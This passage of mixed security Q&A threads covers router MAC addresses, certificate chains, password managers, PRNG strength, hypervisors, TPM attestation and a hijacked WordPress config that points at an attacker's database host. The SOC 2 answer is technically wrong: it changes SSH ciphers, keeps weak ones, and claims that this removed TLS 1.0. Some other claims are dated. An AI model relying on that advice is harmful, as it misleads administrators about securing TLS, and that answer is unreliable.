But I am quite sure that it is impractical to get the MAC address of a remote router without being on that network. As such I don't want to mess with it if this isn't going to be a big deal. Thoughts?

One important followup question is: Which MAC address? The router will most likely have at least one MAC address for the WAN side and one for the LAN side.

Should the vendor have chosen to create usernames with each of the MAC addresses (in the name of usability), that could lead to an interesting vulnerability where changing the default password of one of the users to something more secure would still leave the other username(s) with the default password.

On some routers you will see the LAN and WAN interfaces being assigned adjacent Ethernet addresses. And in case the router has a builtin USB-Ethernet adapter, that one may be adjacent to the other two.

The adversary would only need to know one of those MAC addresses in order to deduce the rest. Additionally from the login page the adversary could likely tell the vendor and firmware version of the router. Those two will be sufficient to deduce the first 3 bytes of the MAC address with high confidence.

There are ways the adversary could learn more information about the MAC addresses:

One of them will be in the ARP table of devices connected to this router (that includes devices both on the LAN and WAN side of the router).
One of them will be known to your ISPs DHCP server. And I have seen ISPs embed that MAC address in the hostname used for reverse DNS.
A traceroute from either side of the router will reveal an IP address of the router, which may have the MAC address embedded in it.
If a builtin USB to Ethernet adapter is used for a device on the LAN, then that device could potentially leak the information by leaking its own MAC address.

Each of these possible ways the MAC address could leak can be addressed. But I would say there are simply too many ways an adversary could learn a MAC address of your router to safely assume the MAC address can be kept secret.


Does Windows require the full certificate chain in order to trust a certificate? I'm putting together a Root CA to sign multiple intermediate CAs which will then be used to sign VPN server and VPN user certificates.

When I provide a user with their certificate, ideally I only want to give them their keypair/cert and the cert of the signing intermediate. This will mean that if the root CA is compromised that exposure should be minimal if no users trust it directly.

Upon testing the above setup, I imported the intermediate CA cert into a Windows 10 machine followed by the user cert, but the certificate has a warning on it to say "Windows does not have enough information to verify this certificate."

I assume that importing the root CA cert would then remedy that issue, but why is it that Windows requires the full chain if it's been given the issuing intermediate CA's certificate to trust certs from that?

The PKI is based on CA certificates, which are certificates you trust to vouch for other certificates.

You will always have a copy the certificate for the CA. Let's call it "bdxCA"

When Bob comes with a certificate saying "Hi, I'm Bob, here's my certificate signed by bdxCA", the computer looks up his copy of bdxCA, see it did sign the certificate and that it trusts bdxCA for the stated purpose (e.g. user identity).

Now come Intermediate CAs. These are certificates that are able to sign other certificates but you are not trusting directly, but whose trust derives from a "real" CA.

So, you may have bdxCA signing bdx_HR_CA which itself signs Bob certificate. Here Bob should provide both his own certificate as the intermediate one(s): "Hi, I'm Bob, here's my certificate signed by bdx_HR_CA, and you can see that one is signed by bdxCA". You check that it is indeed the case, and accept it.

If Bob hadn't provided the intermediate certificate, it might or might not be accepted. If the receiving side don't have a copy of bdx_HR_CA, they won't be able to validate it, and will thus reject it. However, it is possible that the intermediate CA was imported locally (so it will be able to find it), or perhaps Alice had already shown her own certificate as well as bdx_HR_CA one, and thus the later had been automatically stored. Moreover, in some cases certificates include a url from which the parent (intermediate) certificate can be downloaded, and certain clients are able to helpfully download them.

All of this leads to the case that when intermediate certificates are missing, they may or may not validate, depending on the software used, and the previous machine history, all of which results in inconsistent problems, as they only sometimes fail.

Then, it is also possible for a CA certificate to also be signed by another CA. This is generally done when a new CA may not be trusted by all clients. Signing the CA by another one that they do trust allows them to trust certificates emitted by this new CA (by treating it as an intermediate one).

In your case, you have imported the CA certificate, but you probably haven't marked it as trusted, so Windows doesn't have a route to a trusted CA to verify it.

Finally, as your use case is about at VPN server and VPN user certificates, please note that these generally use their own CA, with the server CA provided within the VPN configuration. In which case, it doesn't matter if it's trusted by windows or not, as the VPN client will simply check if the VPN certificate is the one it is expecting it to be.


Could a computer turn itself on if the BIOS was modified even if it was turned off by holding the power button down? My Thinkpad might have been hacked and I know this sounds a little far-fetched, but I suspect the BIOS might have also been hacked.

Would turning it off by holding the power button for a few seconds ensure that it could not turn itself back on again without someone pressing the power button again?

Hard power-off of a Windows machine will ensure that wake-on-lan isn't functional, but there are two possible combinations of bios settings that can lead to machine waking up without power button press:

Restore on power failure: Always on\Previous state
I am not entirely sure that powering off via holding power button will account for power loss though. If so, machine would power itself back up straigh away within a second or two.
In the scenario when a machine has Always on setting and is powered off, disconnecting and reconnecting the power will make the machine power on.
I haven't seen this particular setting on laptops, as they have battaries, which is an internal UPS in essense, so these conditions only apply when the battery is dead.
Wake up on Real Time Clock
This one would just schedule power on and wake the machine regardless of other software settings.

Summing up suggestions from comments: any random power-ups with consequent shutdowns are likely a hibernation after sleep. Imagine sleep timer is set to 10 minutes of inactivity, second timer hibernates after 300 minutes.
If you leave your laptop at 22:00 at 22:10 it will fall asleep, at 03:00 it will wake up, dump RAM onto the drive and power off, which might take a few seconds to few minutes, but the machine will spin up the fans and flash all its activity LEDs as it is under considerable load copying data.


Using a password manager vs manual Who still uses the traditional method of storing passwords (written down) in an actual physical safebox vs modern methods like password managers? What are the pros and cons of each method?

There are still people who use both options with benefits to either. One thing to keep in mind is that there are a variety of threats that are dependent on password strength rather than someone actually finding your passwords on paper.

The 'Safebox':

Lets break this down into a few traditional 'safeboxes'.

A Wallet - This method provides some security in that you (generally) take it with you everywhere and rarely lose possesion of. If you have passwords in this and your wallet gets lost or stolen you really have to hope no one can wreck havoc with them.

Under your keyboard - Please don't do this at work just a bad idea. At home maybe, since unless you are a bank exec or notorius cyber criminal no one will target your passwords when they break into your house.

In an actual safe - Okay, now we're talking! That seems like a decent idea unless your adversary is a government or a hardened criminal.

One of the decent things about a Safebox of varying types is that those passwords are very hard to steal from you. There is always the potential that your website account gets compromised because of a companies lax security or eavesdropping over unsecured or poorly secured connections.

Because of this, even if you write down passwords and use a safe, keep them unique and strong passwords or else if your account on one site gets compromised your account on other sites might also get compromised.

The Password Manager

There are several kinds of password managers each with their own set of benefits and flaws. One immense improvement over a safe is that most password managers can generate lengthy, randomized passwords that would be incredibly hard to guess. There are also differences in the sorts of digital password managers you could use.

Browser Storage - Firefox, Chrome, and many other browsers have some component of password management built in. However, these passwords are easily accessible with brief access to your machine while logged in. They are stored unencrypted, and often don't require a master password to use. Because of this, browser storage, despite being convenient, isn't the most secure.

Cloud-Based Proprietary Password Managers - There are some great companies out there and there are some awful ones. How are you really going to tell the different if they wont show you or anyone else exactly how they operate? Maybe they store your passwords in plain text? Maybe they store it encrypted with a decryption they have control over. Do you want to trust strangers (even reputable ones) with your bank account, personal email, and facebook logins? No? Then don't do this. There might be decent companies using zero knowledge systems where they couldn't look at your information or passwords if they wanted to but I don't think those are the majority. These often cost money

Local installations of strong password managers - Now we're talking! Programs like KeePass and KeePassX for non-windows computers provide all the benefits of the above with fewer drawbacks. They are encrypted to the teeth to protect your passwords. Password database files can be stored as encrypted files in the cloud to use at any location with internet access, and you can even put the programs to open them and the files securely on a USB without having to worry if the USB gets lost or stolen. If it does, the encryption should keep your passwords safe for a few billion years. These are free!

So, I'd suggest using a password manager like KeePass(x). There are also additional drawbacks to the safe options because they are a pain in the butt if you use the passwords in your safe frequently. Then you have to open and close your safe all the time. And who wants to do that?!


Can SHA-1 PRNG still create secure cipher keys? I am concerned that a SHA-1 PRNG cannot produce an AES-256 cipher key with the expected 256 bits of security, or indeed any secure cipher key where over 165 bits of security are expected.

The SHA-1 PRNG is the only pure-java secure random number generator provided by Java without third-party libraries. (I am fully aware third party libraries exist that offer other algorithms.) An implementation can be seen here. The algorithm starts with a state consisting of 160 bits drawn from an external source. As the algorithm uses this data it keeps track of which byte was last used, a number between one and twenty and requiring another 5 bits of information to represent.

Once the 160 bits are all used up, the next 160 bits are derived by calculating:

state(n+1)= state(n) + SHA1(state(n)) + I(SHA1(state(n))

where I(x)=1 if x=0 and I(x)=0 if x!=1

This is wholly determined by the existing 160 bits of state.

This means that if you give someone 165 bits of information, they can calculate the output from the SHA-1 PRNG at any future time. Therefore if I have an AES-256 cipher and I know the key was generated using SHA-1 PRNG I only have to test 2^165 possible combinations, not 2^256. This would appear to significantly weaken the cipher.

As the law of conservation of information says information can never be created, I see no way an algorithm whose internal state consists of only 165 bits of information can ever output 256 bits of information.

If this is true, and the SHA-1 PRNG as shipped with Java can only generate weak keys, what should one do?

Is there a resource that lists the number of bits of information a Secure PRNG function embodies so one can ensure the algorithm has more bits that the cipher key?

I accept this statement as true:  Therefore if I have an AES-256 cipher and I know the key was generated using SHA-1 PRNG I only have to test 2^165 possible combinations, not 2^256.

However, I question the assumption derived from it:  This would appear to significantly weaken the cipher.  It is not now, nor will it ever be physically possible to test 2^165 possible keys, or to iterate through SHA-1 2^165 times.

Even if a significant breakthrough is made in AES-256 that allows an attacker to reduce the size of their attack, depending on the attack it could still require iterating through 2^165 SHA-1 outputs.

Therefore, I don't fully agree with the qualifier "significant", or that the keys produced are qualitatively "weak".  (Yes, they are "weaker" than a 256-bit hash algorithm would produce, I'm only addressing the significance of that difference.)  In the real, practical world we live in, the much more probable attacks will be made on the protocols that use this system, or on the security of the endpoints.  Instead of trying to guess 2^165 possible random states, I would be trying to learn your internal state, or trying to inject my own state so that your output would no longer be random.


Can Microsoft collect data from inside a virtual machine? If I spin up an OS in a VM, can Microsoft still collect and track data from the guest OS? I'm just wondering if Windows 10 collects that much data or not.

Just FYI: no, I'm not a nutter that's obsessed with Windows 10 data collection, I was just looking at VM's and was wondering how this works.

They technically can, but they only do so under certain circumstances.

A malicious hypervisor can tamper with the guest at will. A virtualized guest allows the hypervisor to trap certain instructions, deferring action to the hypervisor itself. If you spun up a guest operating system on a compromised Windows machine, it would be able to compromise the guest. From the perspective of the guest, the hypervisor runs at what has been nicknamed ring -1. The implication is that it is even lower and more privileged than ring 0, which is true (though it is not implemented as an actual protection ring, but the effect is roughly the same). A technology called SGX on newer processors can run certain aspects of a virtual machine in such a way that the hypervisor cannot tamper with it, but I do not believe there are any implementations that are sufficient.

So Windows absolutely has this ability, but does Windows actually do this collecting by default? Sort of. While they will not tamper with your guest and upload a bunch of private details relating to it, crash dumps relating to virtualization may be uploaded to Microsoft, and this detailed information may contain sensitive data from the running guest. You can avoid this by turning off error reporting.

Warning! Technical details ahead!

I explain how virtualization works in an answer to another question. It might be a good idea to read that answer to understand exactly what a hypervisor can do to the guest and what it cannot. A simplified but easy to understand view is provided in the slides for a lecture paper on virtualization:

  In practice, most of the time the hypervisor simply lets the guest run on the real CPU and memory, not knowing what the guest is doing. [...] If the guest is executing an "interesting" assembly instruction then the hardware traps it, and the hypervisor emulates the instruction carefully.

Some instructions can be configured to trap. Others trap unconditionally, such as out which is used to communicate with other hardware and do things like shut the system down. Others still, like mov, don't normally trap and will run without the host or hypervisor being able to influence them directly. When an instruction traps, control is temporarily returned to the hypervisor. It can choose to deny the instruction, run the instruction directly, or emulate it. From the perspective of the guest, an instruction that gets trapped simply takes a little longer to retire. From the perspective of the host, the VM is just a very slow instruction that only returns when the code in the guest is trapped and the hypervisor needs to make an executive decision, after which the VM resumes.


What features should I look in vulnerability testing services? Given the bad press in data breaches, my company is looking at pen testing options. We went through pen test guide but what else can you suggest so we don't get hacked?

Yes, even though the PTES (mentioned by Soufiane's answer) is wildly out-of date, it is somehow still one of the best standards on reference.

Here is a technical guide using Metasploit according to the PTES.

What would be extra-ordinary is if a client can watch the progress of the testing, either with live access to something like LAIR-framework -- or as a videocast. My favorite vulnerability-management consolidation-and collaboration portal is LAIR-framework, but I also enjoy Dradis Pro. A further list might contain: Cisco Kvasir, Serpico, CheckSec Canopy, Faraday, etc. A few are included in Kali Linux -- MagicTree, KeepNote, sparta, and Dracnmap. Some people put vulnerability data into Splunk or ElasticSearch (vFeed recommends this). A very-expensive but full-featured solution is Core Vulnerability Insight from Core Security. Salesforce provides VulnReport.io. Even Shodan offers a geographical (world-map view) of consolidated vulnerability data -- https://scanhub.shodan.io

If you are looking for information about what you should expect before the testing, check out this resource from SANS -- https://isc.sans.edu/diary/21665

If you want to know what reports that are the output of a pen test look like, check out -- https://github.com/juliocesarfort/public-pentesting-reports


Can MiTM and similar attacks be performed on separate networks Okay, suppose that I have 2 computers: Computer A and Computer B, connected with this setup:

A->switch->router->internet
          /
B->router/

and the closest router to computer B is configured to block connections from Computer As switch.

If computer A is desperately trying to attack computer B, sniffing packets, MiTM attacks, etc., how much bigger/smaller attack surface does it have than the usual

Computer A ->router->internet
           /
Computer B/

It depends on what type of MitM attack you want to do.

arp spoofing or any type of attack which relies upon Layer 2 will not work across routing domains.

However, you can perform other attacks such as modifying a host file, DNS spoofing, or other attacks at the network level. You could attack the router itself so all traffic is directed to you, etc. You could trick the victim into installing malware which will redirect all requests to your server first.

If your specific host is being blocked at any point, you can use another machine or compromise another machine to try to find a valid path to your victim.


TPM Attestation and key exchange I have the following problem:

I have two platforms, one of them has a TPM. I need to transfer data between these two platforms, so I first determine an attestation, in order to confirm that the destiny platform is the original and not a corrupted platform.

I find a lot of information, but I don't know how to do that with TPM2.
Can anyone help me?

First up to clarify:

If you only want to authenticate your destiny platform (i.e. verify its identity), you do not need a TPM. You can use a simple X.509 certificate as they are used e.g. with TLS.

Attestation is more than certification. It guarantees platform properties (which depend on your implementation). Attestation can enable identifying your destiny platform, although it does not necessarily have to.

I'll just make two assumptions:

You want to verify the destiny platform's integrity.
It is ok for you that the destiny platform can be identified (i.e. is not anonymous).

How you would do it:

In this case you need to do things. First you need to implement measured boot on your destiny platform. That is, early boot code is measured (hashed) before it is executed. The measurements are stored in the TPM's PCRs.

Then, you need to implement attestation. You have multiple options here. The simplest one is sealing a private key to your PCRs and use the key's public portion on the other device to encrypt your message. Of course there is a bootstrapping problem since you need to securely transfer that public key once and associate it with your platform.

Of course, this scales poorly. In fact, often, the Endorsement Key (EK) and the EK certificate are used. Basically, the TPM ships a certificate signed by its manufacturer which assures that it is a genuine TPM. Using the Attestation Certificate Authority (ACA) (sometimes Privacy Certificate Authority (PCA)) scheme, you don't need the one-time-association. I recommend Google's interactive learning platform. It includes a section about attestation - I recommend reading from the beginning, though.


Why can I cast to my neighbour's TV on my Wi-Fi? I've recently noticed that a new device shows up as available to cast to from my android phone when I'm logged on to our home Wi-Fi. It's an LG Sk8100 TV, but as we own no such TV. I'm assuming it's the neighbour's.

Since our Wi-Fi is WPA2-PSK AES protected, and I have not shared the key with the neighbour, I'm worrying that our network is compromised.

Strangely though, checking the device list in the router, no TV shows up in the DHCP Client list or wireless connections for either 5Ghz or 2.4Ghz networks. The only connected devices are my desktop PC and my android phone.

So why can I cast to this mystery LG TV when I connect to our Wi-Fi, while no such TV seems to exist in the attached devices list of the router?

The TV does not show up if I disconnect Wi-Fi, or if I leave our apartment. It only shows up when connected to our Wi-Fi. If I try to cast to it, the connection times out and fails. I speculated that it was some Google thing tied to location, but it's still there with location tracking off on the phone.

It also seems that the only app that can "see" the phantom TV is YouTube for some reason. That is, other cast-enabled apps, like Netflix or Chrome, are not able to see the TV. Moreover, it only shows up in the YouTube app on my phone (a Huawei P20), so not on the desktop or my wife's phone.

I have now conducted another test where I set the router in MAC-adress whitelist-mode, and the TV is still there. So there is something really strange going on.

I'm leaning towards this being some Google software quirk rather than an attack, but maybe someone here recognizes the issue and has input.

One thought, could the TV show up through my ISPs CG-NAT? Or in the WAN above the router in some way?

Because you are talking about Chromecast, you need to look at the abilities of Chromecast in guest mode:

https://support.google.com/chromecast/answer/6109286?hl=en-GB

  Guest mode makes it easier for your friends to cast their favourite
  media to your Chromecast from a mobile device without connecting to
  your Wi-Fi network.

So, what you are likely seeing is a device that is Chromecast enabled with guest mode on (I think this is by default). You could try to cast to that device, but there is a pin code that pops up to prevent neighbours from casting who cannot see the screen.

Only cast-enabled apps can see it, so the YouTube app makes sense. If you opened Chrome, you might be able to cast a tab, too.

With the recent details of it only showing up in one app in one device and not in any other apps and not on any other device, it looks more like a bug in that app being able to pick up a castable device that it should not.


How practical are proof-carrying codes to guarantee security of a program? Going through the list of SIGOPS Hall-of-Famers, I came across this paper about proof-carrying codes. However, I don't see these techniques used in practice, and they seem unusable when building at scale?

Is there any reason PCC is not more widely used? Were there security limitations, as this seems like a very attractive idea (code proves that it does not access resources it should not, kind of a more fine-grained Android permission system)? What justifies its inclusion in the Hall-of-Fame in that case?

Ok, so trust is relocated from the component to the proof checker.  On what basis can the proof checker's certificate process be trusted?
The proof checker's certification process can be trusted because:

the proof checker defines the safety policy;
the proof checker employs its axioms to validate the safety predicate, and so knows whether the safety predicate meets the conditions of the safety policy, or not;
The proof checker establishes the VC-generation rules, proof rules, and preconditions, (essentially the 'calling convention') that defines how the code consumer invokes the binaries.

Seems all good right?  Before any of this happens though, the code consumer defines and publicizes its safety policy.

Do safety policies remains static?
Are safety policies, at any point in time, sufficient with their VC-generation rules, proof rules, and preconditions to certify that safety predicates truly establishes compliant non-malicious code?
Can code producers really certify a safety predicate using first-order logic in polynomial time?

To the first point, if the safety policy is found to be too simplistic, or ineffective lacking the proper axioms, it will change, which means it must be rewritten and republished, which means the code producer must redevelop a safety predicate and safety proof for re-certification.

What code-producer (hoping to have their code re-used in different environments) is going to constantly be recreating safety predicates and redeveloping safety proofs every time someone's safety policy changes, for every possible scenario?  The issue of trust is a constraint on the code consumer, not the code producer who may not care if their binaries are trusted.

To the second point,
To formulate safety policy, code consumers must make assumptions about what constitutes sufficient conditions to certify a safety predicate.  Simply because a safety predicate receives certification, does not mean it is truly safe.  Rather, it only means that it has meet the minimal necessary conditions imposed by the code consumers; so some minimal threshold for sufficiency which may not be enough to ensure real safety.

If a code consumer constructs and publishes an ineffective safety policy, the certification process is not providing a sufficient control against malicious code execution.  In fact, this model has the code producer abrogating their responsibility for writing trustworthy code, in favour of writing code that merely passes the minimal conditions for certification (i.e. one that produces a minimally acceptable safety predicate).

Finally, to the third point,
The author notes "In order to create a safety proof, the code producer must prove a predicate in first-order logic. In general, this problem is undecidable."

If creating a safety proof requires proving a predicate in first-order logic which is 'in general' undecidable this implies the code producer cannot in general create a safety proof - so what good is certification in the first place?  Isn't it all merely academic?
There are other problems the authors reference noting in the Introduction that "... there are many difficult problems that remain to be solved."  Truly!
ANSWER:

You ask Is there any reason PCC is not more widely used?
It sounds like there's very little incentive on the part of code producers to be more widely using this model, given the apparently impossible battle they face in creating a safety proof for their predicate and in having their safety predicate meet conditions of some particular certification process.


Is running a Windows service as a (standard) user a risk? I plan on creating a domain user account that will be able to log on as a service, but have only the minimum requirements for this service to function.  of course this could be misconfigured, but assuming I don't add a user that has too many privileges are there an inherent security risk involved?

I couldn't find an article about this after doing some googling.  If there is an article that someone could link me to, I'd appreciate it.

Thanks.

The user will have access to anything that the Everyone and Users groups have access to, which means it's similar to a guest account. Everything outside user directories and system directories will be readable by default, though some system directories are readable too.

Assuming you appropriately configure the user, there should be minimal risk. However, it is certainly advisable to configure auditing for that user, via local or group policy, in order to ensure that any misuse is logged, so that you can take measures to stop that misuse and make changes to prevent it in future.

This should give you a reasonable standing from a security perspective. That being said, this is actually one of the few areas that I feel the Windows security model is lacking in - i.e. single purpose users that don't automatically have access to anything but a specific set of directories.


What is the list of known host domains where subdomains come from different providers? I recall that there is a list of hosting domains that are known to have subdomains from different sources, as for example wix.com and appspot.com, built into browsers. For such domains, subdomains do not inherit trust from the domain.
I forget the name of the list. What is it called?

It sounds like you want The Public Suffix List. It covers things like  wix.com and dyndns.org where subdomains are under individual control, and national TLDs some of which have very insteresing heirachies.
https://publicsuffix.org/
It is used my Mozilla to limit the scope of cookies (and probably for other things too)


Sending credit-card numbers through SFTP? I need to send credit-card numbers and other information through SFTP. What considerations should I have? Recommendations? Is valid encrypt this numbers? What does PCI say about this?

Regardless the file transfer protocol, I would recommend encrypting files before sending them out. You may use for example pgp encryption, it can be automated.


which hash algorithm takes longer time if we compare between md5 or sha256? Which hash algorithm takes longer time to compute  if we compare between md5 and  sha256?

I do not want to use it for security reasons so I do not care about which one is more secure, I just want to know which one takes fewer time than the other.

It depends on the hardware and software you are running. Below are comparison results between MD5 and SHA using the openssl library on my computer. But different implementations that take into account hardware acceleration will give different results. Modern CPUs have hardware acceleration for hash functions. GPUs will have better results and specialised hardware exists to accelerate hashing even further. That is especially true for SHA because it is used for crypto currency mining.
$ openssl speed md5 sha1 sha256

type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
md5              58318.02k   171878.31k   370689.37k   502232.78k   580493.45k
sha1             69045.26k   188431.38k   385979.53k   543316.53k   625854.82k
sha256           49638.66k   107537.27k   183872.51k   226793.47k   237228.26k

The 'numbers' are in 1000s of bytes per second processed.

2021 update with OpenSSL 1.1.1d: now we see md5 is often slower on newer CPU, and for larger chunks:
## PC i7-1165G7 @ 2.80GHz (2020)
OpenSSL 1.1.1d  10 Sep 2019 / built on: Mon Dec  7 20:44:45 2020 UTC
type      16 bytes    64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes
md5     189018.70k  418310.85k   712090.28k   890189.14k   956293.12k   962560.00k
sha1    287134.62k  746529.17k  1474064.38k  1973607.08k  2197842.60k  2192179.20k
sha256  222301.71k  603962.47k  1213340.33k  1665262.59k  1849016.32k  1847388.84k

## Server AMD EPYC 7571 (2018)
OpenSSL 1.1.1d  10 Sep 2019 / built on: Mon Dec  7 20:44:45 2020 UTC
type      16 bytes    64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes
md5      93668.33k  213979.18k   378971.56k   467472.38k   501205.67k   504064.68k
sha1    165020.82k  442991.72k   888443.48k  1188591.62k  1319236.95k  1330080.43k
sha256  142886.55k  375612.63k   791567.70k  1095950.34k  1234381.48k  1246827.86k

## Server E5-2682 v4 @ 2.50GHz (2016)
OpenSSL 1.1.1d  10 Sep 2019 / built on: Mon Dec  7 20:44:45 2020 UTC
type      16 bytes    64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes
md5     101505.24k  207422.92k   393158.83k   453332.99k   527085.34k   490711.72k
sha1     98091.83k  249828.79k   389640.36k   675694.25k   686966.33k   721021.61k
sha256   55421.86k  130103.33k   251929.17k   302571.86k   296977.81k   338439.56k


Password manager database and keyfile I'm trying to store passwords more securely in my department. I was thinking about using Keepass, giving each of my colleagues a personal password database and require a simple password (they won't agree to use anything remotely complicated) and a keyfile to unlock it.

My first idea was to store each password database locally, in their respective computers and the keyfile/s in our company server.

Is it wise idea? Which alternative would be best? Which alternative would be better, given my team's reluctance to use strong passwords for the databases?

You should consider what you are trying to accomplish by storing each particular part in some specific location, and then proceed accordingly.

The password database file itself is important but not sensitive, particularly because it is encrypted. In the ideal case, having access to that file does not gain you any particular abilities. It changes often, and thus needs to be backed up regularly; as such, it should be included in your regular backups.

The key file is sensitive as well as important. Without it, the password database file is meaningless, as the key file effectively forms a part of the master passphrase used to unlock the password database. However, it changes very rarely, and can for all intents and purposes be considered static, so doesn't need to be backed up on a particularly regular basis.

The passphrase as entered by the user is sensitive and important, for the same reasons that apply to the key file. It's also not stored on a computer, but rather (hopefully) exclusively in the user's brain. The user can change it if they want to, but they are responsible for making sure that they remember it.

Only all three parts together are actually meaningful. You can't do anything with any one of these without the other two, and you would be hard pressed to do much of anything with any two of these without the third.

It's a bad idea to keep the key file in the same location as the password database, unless of course the password database master password is sufficiently strong that it alone provides good protection against an attacker and the key file is really only icing on the cake. From what you say about using "a simple password", this does not appear to be the case in your situation.

Hence, we can conclude that in your scenario, most of the security is in the key file, which is slightly augmented by the master passphrase. Thus, the key file must be protected to high standards.

Given this, I would probably do pretty much the opposite of what you propose:

Store the password database on the local host, or possibly on a central server. Set up file system and (if applicable) network share ACLs to restrict access to each password database to its owner. Make sure it is included in regular backups.
Store the key file on a central server. Set up file system and (if applicable) network share ACLs to restrict access to each key file to its owner. Make sure it is not included in regular backups. Consider setting up audit logging for both successful and failed access attempts.
Set as high a passphrase key derivation iteration count as your users will tolerate. Aim for several seconds on the client machines, if that is acceptable. Keep in mind that a serious attacker will likely use passphrase hashing implementations that are far more optimized.
Keep backup copies of the key files somewhere. Individual, sealed envelopes in a bank safety deposit box, maybe? (In this case, the bank would keep a separate audit log which can likely be called upon in case of suspicion of unauthorized access. They won't be able to tell you what a person did, but they should be able to tell you who had access.)

This isn't perfect, mainly because the protection offered by what only the owner of the password database has access to (the master password) is so weak. But if your users can't be bothered to use secure master passphrases, it's probably about the best you can do.

Of course, you need some mechanism for handling scenarios where people get run over by a bus. That, however, is outside of the scope of an individual password manager, and is something you need regardless, so I won't discuss that further here.


Setting up linux to be SOC 2 compliant We are setting up AWS servers to become SOC 2 compliant, to do that we need to discontinue support for the identified cipher suites and TLS 1.0

As I understand we need to leave only these suites

ECDHE-ECDSA-AES256-GCM-SHA384  TLSv1.2  Kx=ECDH  Au=ECDSA  Enc=AESGCM(256)  Mac=AEAD
ECDHE-ECDSA-AES256-SHA384      TLSv1.2  Kx=ECDH  Au=ECDSA  Enc=AES(256)     Mac=SHA384
ECDHE-ECDSA-AES256-SHA         SSLv3    Kx=ECDH  Au=ECDSA  Enc=AES(256)     Mac=SHA1
ECDHE-ECDSA-AES128-GCM-SHA256  TLSv1.2  Kx=ECDH  Au=ECDSA  Enc=AESGCM(128)  Mac=AEAD
ECDHE-ECDSA-AES128-SHA256      TLSv1.2  Kx=ECDH  Au=ECDSA  Enc=AES(128)     Mac=SHA256
ECDHE-ECDSA-AES128-SHA         SSLv3    Kx=ECDH  Au=ECDSA  Enc=AES(128)     Mac=SHA1
ECDHE-RSA-AES256-GCM-SHA384    TLSv1.2  Kx=ECDH  Au=RSA    Enc=AESGCM(256)  Mac=AEAD
ECDHE-RSA-AES256-SHA384        TLSv1.2  Kx=ECDH  Au=RSA    Enc=AES(256)     Mac=SHA384
ECDHE-RSA-AES256-SHA           SSLv3    Kx=ECDH  Au=RSA    Enc=AES(256)     Mac=SHA1
ECDHE-RSA-AES128-GCM-SHA256    TLSv1.2  Kx=ECDH  Au=RSA    Enc=AESGCM(128)  Mac=AEAD
ECDHE-RSA-AES128-SHA256        TLSv1.2  Kx=ECDH  Au=RSA    Enc=AES(128)     Mac=SHA256
ECDHE-RSA-AES128-SHA           SSLv3    Kx=ECDH  Au=RSA    Enc=AES(128)     Mac=SHA1
DHE-RSA-AES256-GCM-SHA384      TLSv1.2  Kx=DH    Au=RSA    Enc=AESGCM(256)  Mac=AEAD
DHE-RSA-AES256-SHA256          TLSv1.2  Kx=DH    Au=RSA    Enc=AES(256)     Mac=SHA256
DHE-RSA-AES256-SHA             SSLv3    Kx=DH    Au=RSA    Enc=AES(256)     Mac=SHA1
DHE-RSA-AES128-GCM-SHA256      TLSv1.2  Kx=DH    Au=RSA    Enc=AESGCM(128)  Mac=AEAD
DHE-RSA-AES128-SHA256          TLSv1.2  Kx=DH    Au=RSA    Enc=AES(128)     Mac=SHA256
DHE-RSA-AES128-SHA             SSLv3    Kx=DH    Au=RSA    Enc=AES(128)     Mac=SHA1

Correct me if I wrong.

Is this list accurate?
How do I do that on Amazon Linux servers?

What we really needed to do is to disable Arcfour ciphers, so we've added

Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc

to

/etc/ssh/sshd_config

and then restarted sshd

Now openssl ciphers -v doesn't give me TLS1.0 anymore so we think we are done.

This link might be helpful too https://unix.stackexchange.com/questions/321916/disable-arcfour-encryption?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa


Should I change phone number and e-mail address after PayPal fraud? I have been the victim of PayPal fraud. I hadn't used PayPal in a year and then within 9 days there were three unauthorized transactions on my account for a total of 150 Canadian dollars and 290 American dollars. I have since been refunded by PayPal. However, through my PayPal account, my e-mail address and phone number have been visible. My family has suggested that I change my bank account number, my debit card, my e-mail address, and phone number.

I have changed my e-mail address once five years ago and it still creates confusion today. I would like to know whether it is truly necessary to change my phone number and e-mail address. How big of a risk is it for fraudsters to have my e-mail and phone number?

Changing your e-mail and phone number is silly.  Your phone number, unless unlisted, is a matter of public record and easily discoverable.  Even if unlisted, it is still a publicly shared identifier that can be discovered with some investigating.  Your e-mail address is also a public identifier and can be discovered with some effort.

Having identifiers in the hands of an attacker is not an immediate threat as long as they don't have access to those identifiers.  An attacker knowing your phone number doesn't allow them to use your phone.  Similarly, if an attacker has your e-mail address, as long as your password to your e-mail address is secure (change it to be sure) then they can't make use of your e-mail address either.

Both of these can be spoofed, through either caller id spoofing or e-mail sender spoofing, but such spoofing is easily detectible to anyone who knows what to look for (and any high threat target should be aware of these things and check them, or simply have procedures built in to verification to mitigate this.)

When you are comprised, the important part is to remove access from the attacker.  Credit card and bank account numbers change because they are used without any authentication, so they act as both identifier and authentication, thus they have to change.  Anything that requires a separate authentication (even if simply the physical access) doesn't have to change as long as the authentication can be assured to not be compromised.


Wordpress wp-config file seems hacked and changed to DB_NAME and DB_USER asadmin_drr and DB_HOST as 46.21.253.40 I have a shared hosting on hostgator with around  wordpress based websites. Out of them 4 stopped working with message as error establishing database connection. On checking the wp-config i found the Db connection details were changed for all of them to

/** The name of the database for WordPress */
define('DB_NAME', 'admin_drr');

/** MySQL database username */
define('DB_USER', 'admin_drr');

/** MySQL database password */
define('DB_PASSWORD', 'sBKDb6E1aM');

/** MySQL hostname */
define('DB_HOST', '46.21.253.40');

There were changes in .htaccess file as well and I had to reset it to default. For one of the site the DB prefix was also change.

I was able to fix the issue but i was unable to understand if it part of some king of hacking or malware, Or not. Any way to find this? Or was it somthing else like due to wordpress's auto upgrade or something else.

I noticed someone else has reported similar issue as well: WP site not accessible and seems like someone hacked the wp-config.php - admin_drr database

Another reason for me to share this is to bring this is issue to others notice and hopefully someone can figure out the exact cause and fix for it.

This info needs to be escalated to your hoster and probably some authorities (if you're in the EU and have user data on that instance), because someone set your DB connection to a DSL line terminating in Moscow.


WSS (WSS4J): cleartext password in UsernameToken vs salted password hash in database I'm currently struggling a little with the security layer of a web service I'm writing using WSS4J and CXF.

We obviously do not wish to store plaintext passwords in our backend, but would prefer to persist only salted hashes.

The service specifications, however, are preset by our client (who will be using the service to push a bunch of data our way), down to the use of UsernameTokens with plaintext password (All communication is SSL encrypted)

